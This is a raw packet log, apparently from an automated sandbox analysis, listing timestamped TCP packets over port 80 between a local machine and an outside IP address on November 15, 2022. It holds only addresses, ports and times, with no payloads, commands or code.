Nov 15, 2022 12:43:54.545841932 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545851946 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545870066 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545871973 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545896053 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545907021 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545924902 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545928001 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545953035 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545965910 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545979977 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545985937 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546008110 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546016932 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546036959 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546045065 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546063900 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546072006 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546092987 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546102047 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546123028 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546130896 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546153069 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546160936 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546180964 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546190977 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546209097 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546209097 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546238899 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546247005 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546271086 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546277046 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546298981 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546308041 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546327114 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546335936 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546355009 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546363115 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546382904 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546391964 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546411037 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546418905 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546438932 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546447992 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546468019 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546475887 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546495914 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546504974 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546524048 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546531916 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546551943 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546561003 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546581030 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546586990 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546608925 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546617985 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546636105 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546637058 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546664000 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546673059 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546691895 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546701908 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546720982 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546730042 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546747923 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546758890 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546776056 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546786070 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546802998 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546806097 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546828985 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546840906 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546857119 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546859026 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546895027 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546919107 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546946049 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546963930 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.546973944 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.546982050 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547010899 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547019005 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547039986 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547049046 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547069073 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547077894 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547097921 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547106981 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547126055 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547135115 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547157049 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547164917 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547184944 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547194004 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547213078 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547223091 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547241926 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547266006 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547271013 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547278881 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547297955 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547310114 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547327042 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547337055 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547355890 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547367096 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547394037 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547403097 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547418118 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547426939 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547441959 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.547452927 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.547473907 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761054993 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761106014 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761130095 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761137962 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761157036 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761169910 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761169910 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761179924 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761204004 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761207104 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761218071 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761228085 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761248112 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761250973 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761275053 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761279106 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761300087 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761305094 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761318922 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761327982 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761354923 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761358976 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761367083 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761389017 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761404991 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761416912 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761431932 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761440992 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761465073 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761467934 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761491060 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761497974 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761498928 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761513948 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761531115 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761537075 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761554956 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761563063 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761567116 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761595011 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761606932 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761624098 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761643887 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761650085 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761657000 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761673927 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761698008 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761719942 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761742115 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761746883 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761748075 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761748075 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761766911 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761780024 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761780024 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761790037 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761811018 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761814117 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761826038 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761837006 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761858940 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761861086 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761872053 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761883974 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761905909 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761907101 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761914968 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761929989 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761944056 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761951923 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.761960030 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.761976004 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762000084 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762013912 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762025118 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762026072 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762042046 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762048006 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762056112 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762070894 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762083054 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762094021 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762110949 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762115955 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762120008 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762139082 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762151003 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762164116 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762176037 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762186050 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762192965 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762211084 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762221098 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762232065 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762248993 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762254953 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762267113 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762276888 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762291908 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762300014 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762315035 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762322903 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762339115 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762346029 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762356043 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762368917 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762379885 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762392044 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762403965 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762414932 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762425900 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762437105 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762449980 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762459993 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762470007 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762482882 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762496948 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762509108 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762517929 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762531042 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762547970 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762553930 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762559891 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762576103 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762590885 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762598991 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762608051 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762620926 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762639046 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762644053 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762661934 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762666941 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762681007 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762690067 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762701988 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762712955 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762725115 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762736082 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762748003 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762758970 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762769938 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762780905 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762798071 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762804031 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762815952 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762825966 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762837887 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762849092 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762859106 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762871027 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762887001 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762908936 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762912035 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762933969 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762952089 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762957096 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762959957 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.762979031 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.762995958 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763000965 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763003111 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763024092 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763035059 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763046026 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763055086 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763067961 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763081074 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763091087 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763101101 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763113022 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763127089 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763134956 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763139009 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763159037 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763175964 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763180971 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763184071 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763204098 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763212919 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763226986 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763237000 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763250113 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763262033 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763272047 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763282061 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763293982 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763303995 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763317108 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763326883 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763339043 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763349056 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763361931 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763374090 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763386011 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763396978 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763406992 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763417006 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763428926 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763439894 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763452053 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763473988 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763475895 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763488054 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763497114 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763511896 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763519049 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763534069 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763540983 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763561964 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763565063 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763573885 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763586998 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763606071 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763609886 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763627052 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763633013 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763638020 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763655901 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763668060 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763675928 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.763689041 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.763715029 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.775880098 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.775923014 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.775952101 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.775966883 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.775975943 CET	80	49179	47.92.133.65	192.168.2.22
